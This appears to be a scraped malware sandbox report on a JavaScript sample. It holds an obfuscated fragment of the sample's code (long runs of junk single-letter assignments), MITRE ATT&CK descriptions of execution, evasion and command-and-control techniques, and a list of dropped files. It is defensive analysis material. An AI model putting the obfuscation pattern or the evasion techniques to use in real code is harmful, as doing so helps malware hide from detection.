1195	zjsmjlh = "U";
1196	zjsmjlh = "a";
1197	zjsmjlh = "c";
1198	zjsmjlh = "u";
1199	zjsmjlh = "L";
1200	zjsmjlh = "c";
1201	zjsmjlh = "g";
1202	zjsmjlh = "y";
1203	zjsmjlh = "t";
1204	zjsmjlh = "V";
1205	zjsmjlh = "y";
1206	zjsmjlh = "t";
1207	zjsmjlh = "S";
1208	zjsmjlh = "x";
1209	zjsmjlh = "o";
1210	zjsmjlh = "s";
1211	zjsmjlh = "c";
1212	zjsmjlh = "A";
1213	zjsmjlh = "A";
1214	zjsmjlh = "Z";
1215	zjsmjlh = "r";
1216	zjsmjlh = "T";
1217	zjsmjlh = "u";
1218	zjsmjlh = "A";
1219	zjsmjlh = "r";
1220	zjsmjlh = "m";
1221	zjsmjlh = "N";
1222	zjsmjlh = "u";
1223	zjsmjlh = "M";
1224	zjsmjlh = "u";
1225	zjsmjlh = "H";
1226	zjsmjlh = "g";
1227	zjsmjlh = "s";
1228	zjsmjlh = "W";
1229	zjsmjlh = "Q";
1230	zjsmjlh = "W";
1231	zjsmjlh = "U";
1232	zjsmjlh = "s";
1233	zjsmjlh = "i";
1234	zjsmjlh = "5";
1235	unitsk = "O";
1236	unitsk = "E";
1237	unitsk = "K";
1238	unitsk = "q";
1239	unitsk = "c";
1240	unitsk = "d";
1241	unitsk = "G";
1242	unitsk = "q";
1243	unitsk = "H";
1244	unitsk = "U";
1245	unitsk = "D";
1246	unitsk = "C";
1247	unitsk = "G";
1248	unitsk = "A";
1249	unitsk = "Y";
1250	unitsk = "P";
1251	unitsk = "O";
1252	unitsk = "X";
1253	unitsk = "H";
1254	unitsk = "w";
1255	unitsk = "C";
1256	unitsk = "R";
1257	unitsk = "C";
1258	unitsk = "n";
1259	unitsk = "b";
1260	unitsk = "r";
1261	unitsk = "c";
1262	unitsk = "w";
1263	unitsk = "E";
1264	lbjbmrd = "n";
1265	lbjbmrd = "I";
1266	lbjbmrd = "L";
1267	lbjbmrd = "T";
1268	lbjbmrd = "t";
1269	lbjbmrd = "B";
1270	lbjbmrd = "o";
1271	lbjbmrd = "h";
1272	lbjbmrd = "E";
1273	lbjbmrd = "c";
1274	lbjbmrd = "S";
1275	lbjbmrd = "o";
1276	lbjbmrd = "B";
1277	lbjbmrd = "f";
1278	txywicsvp = "K";
1279	txywicsvp = "z";
1280	txywicsvp = "s";
1281	txywicsvp = "y";
1282	txywicsvp = "k";
1283	txywicsvp = "G";
1284	txywicsvp = "t";
1285	txywicsvp = "V";
1286	txywicsvp = "B";
1287	txywicsvp = "N";
1288	txywicsvp = "E";
1289	txywicsvp = "U";
1290	txywicsvp = "s";
1291	txywicsvp = "J";
1292	txywicsvp = "M";
1293	txywicsvp = "L";
1294	txywicsvp = "t";
1295	txywicsvp = "a";
1296	txywicsvp = "B";
1297	txywicsvp = "j";
1298	txywicsvp = "h";
1299	txywicsvp = "P";
1300	txywicsvp = "o";
1301	txywicsvp = "w";
1302	txywicsvp = "v";
1303	txywicsvp = "O";
1304	txywicsvp = "u";
1305	txywicsvp = "H";
1306	txywicsvp = "i";
1307	txywicsvp = "G";
1308	txywicsvp = "e";
1309	txywicsvp = "s";
1310	txywicsvp = "v";
1311	txywicsvp = "o";
1312	txywicsvp = "m";
1313	txywicsvp = "V";
1314	txywicsvp = "o";
1315	txywicsvp = "t";
1316	txywicsvp = "Q";
1317	txywicsvp = "E";
1318	txywicsvp = "Q";
1319	txywicsvp = "S";
1320	irjpe = "Z";
1321	irjpe = "Q";
1322	irjpe = "t";
1323	irjpe = "l";
1324	irjpe = "K";
1325	irjpe = "e";
1326	irjpe = "G";
1327	irjpe = "q";
1328	irjpe = "u";
1329	irjpe = "N";
1330	irjpe = "N";
1331	irjpe = "T";
1332	irjpe = "l";
1333	irjpe = "z";
1334	irjpe = "t";
1335	irjpe = "U";
1336	irjpe = "t";
1337	irjpe = "D";
1338	irjpe = "M";
1339	irjpe = "G";
1340	irjpe = "B";
1341	irjpe = "B";
1342	irjpe = "G";
1343	irjpe = "g";
1344	irjpe = "v";
1345	irjpe = "X";
1346	irjpe = "H";
1347	irjpe = "p";
1348	irjpe = "s";
1349	irjpe = "e";
1350	irjpe = "N";
1351	irjpe = "Q";
1352	irjpe = "c";
1353	irjpe = "h";
1354	irjpe = "v";
1355	irjpe = "k";
1356	irjpe = "h";
1357	irjpe = "U";
1358	irjpe = "Q";
1359	irjpe = "o";
1360	irjpe = "R";
1361	irjpe = "L";
1362	irjpe = "w";
1363	irjpe = "k";
1364	ldddbi = "U";
1365	ldddbi = "O";
1366	ldddbi = "C";
1367	ldddbi = "t";
1368	ldddbi = "q";
1369	ldddbi = "F";
1370	ldddbi = "t";
1371	ldddbi = "c";
1372	ldddbi = "Y";
1373	ldddbi = "d";
1374	ldddbi = "K";
1375	ldddbi = "P";
1376	ldddbi = "x";
1377	ldddbi = "v";
1378	ldddbi = "R";
1379	ldddbi = "R";
1380	ldddbi = "f";
1381	ldddbi = "P";
1382	ldddbi = "s";
1383	ldddbi = "e";
1384	ldddbi = "o";
1385	ldddbi = "e";
1386	ldddbi = "Z";
1387	ldddbi = "m";
1388	ldddbi = "Y";
1389	ldddbi = "f";
1390	ldddbi = "G";
1391	ldddbi = "X";
1392	ldddbi = "C";
1393	ldddbi = "b";
1394	ldddbi = "I";
1395	ldddbi = "e";
1396	ldddbi = "O";
1397	ldddbi = "n";
1398	ldddbi = "i";
1399	ldddbi = "U";
1400	ldddbi = "M";
1401	ldddbi = "Y";
1402	ldddbi = "W";
1403	ldddbi = "e";
1404	ldddbi = "F";
1405	ldddbi = "Y";
1406	kzpzwch = "p";
1407	kzpzwch = "r";
1408	kzpzwch = "L";
1409	kzpzwch = "v";
1410	kzpzwch = "l";
1411	kzpzwch = "H";
1412	kzpzwch = "i";
1413	kzpzwch = "I";
1414	kzpzwch = "K";
1415	kzpzwch = "P";
1416	kzpzwch = "x";
1417	kzpzwch = "e";
1418	kzpzwch = "q";
1419	kzpzwch = "W";
1420	kzpzwch = "Q";
1421	kzpzwch = "l";
1422	kzpzwch = "P";
1423	kzpzwch = "F";
1424	kzpzwch = "g";
1425	kzpzwch = "o";
1426	kzpzwch = "a";
1427	kzpzwch = "o";
1428	kzpzwch = "E";
1429	kzpzwch = "q";
1430	kzpzwch = "E";
1431	kzpzwch = "a";
1432	kzpzwch = "K";
1433	kzpzwch = "t";
1434	kzpzwch = "A";
1435	kzpzwch = "q";
1436	kzpzwch = "y";
1437	kzpzwch = "N";
1438	kzpzwch = "n";
1439	kzpzwch = "C";
1440	kzpzwch = "b";
1441	kzpzwch = "W";
1442	kzpzwch = "s";
1443	kzpzwch = "U";
1444	kzpzwch = "t";
1445	kzpzwch = "s";
1446	kzpzwch = "W";
1447	kzpzwch = "T";
1448	kzpzwch = "m";
1449	kzpzwch = "R";
1450	rwizb = "V";
1451	rwizb = "S";
1452	rwizb = "V";
1453	rwizb = "G";
1454	rwizb = "Z";
1455	rwizb = "H";
1456	rwizb = "l";
1457	rwizb = "o";
1458	rwizb = "t";
1459	rwizb = "o";
1460	rwizb = "c";
1461	rwizb = "s";
1462	rwizb = "a";
1463	rwizb = "i";
1464	rwizb = "P";
1465	rwizb = "q";
1466	rwizb = "I";
1467	rwizb = "U";
1468	rwizb = "H";
1469	rwizb = "j";
1470	rwizb = "j";
1471	rwizb = "d";
1472	rwizb = "F";
1473	rwizb = "t";
1474	rwizb = "l";
1475	rwizb = "p";
1476	rwizb = "G";
1477	rwizb = "B";
1478	rwizb = "h";
1479	rwizb = "C";
1480	rwizb = "m";
1481	pxpmfd = "H";
1482	pxpmfd = "W";
1483	pxpmfd = "g";
1484	pxpmfd = "C";
1485	pxpmfd = "g";
1486	pxpmfd = "c";
1487	pxpmfd = "m";
1488	pxpmfd = "j";
1489	pxpmfd = "Q";
1490	pxpmfd = "v";
1491	pxpmfd = "g";
1492	pxpmfd = "j";
1493	pxpmfd = "P";
1494	pxpmfd = "F";
1495	pxpmfd = "o";
1496	pxpmfd = "z";
1497	pxpmfd = "R";
1498	pxpmfd = "R";
1499	pxpmfd = "K";
1500	pxpmfd = "R";
1501	pxpmfd = "p";
1502	pxpmfd = "g";
1503	pxpmfd = "b";
1504	pxpmfd = "t";
1505	pxpmfd = "s";
1506	pxpmfd = "Z";
1507	pxpmfd = "M";
1508	pxpmfd = "e";
1509	pxpmfd = "I";
1510	pxpmfd = "Y";
1511	pxpmfd = "X";
1512	pxpmfd = "J";
1513	pxpmfd = "u";
1514	pxpmfd = "F";
1515	pxpmfd = "z";
1516	pxpmfd = "t";
1517	pxpmfd = "e";
1518	pxpmfd = "Q";
1519	pxpmfd = "p";
1520	pxpmfd = "S";
1521	pxpmfd = "k";
1522	pxpmfd = "r";
1523	pxpmfd = "C";
1524	gnwuu ( );	gnwuu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 137112093815427392.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4ceda5f3-7e5e-44ca-8cbf-9312c79251a8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7292

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
137112093815427392.js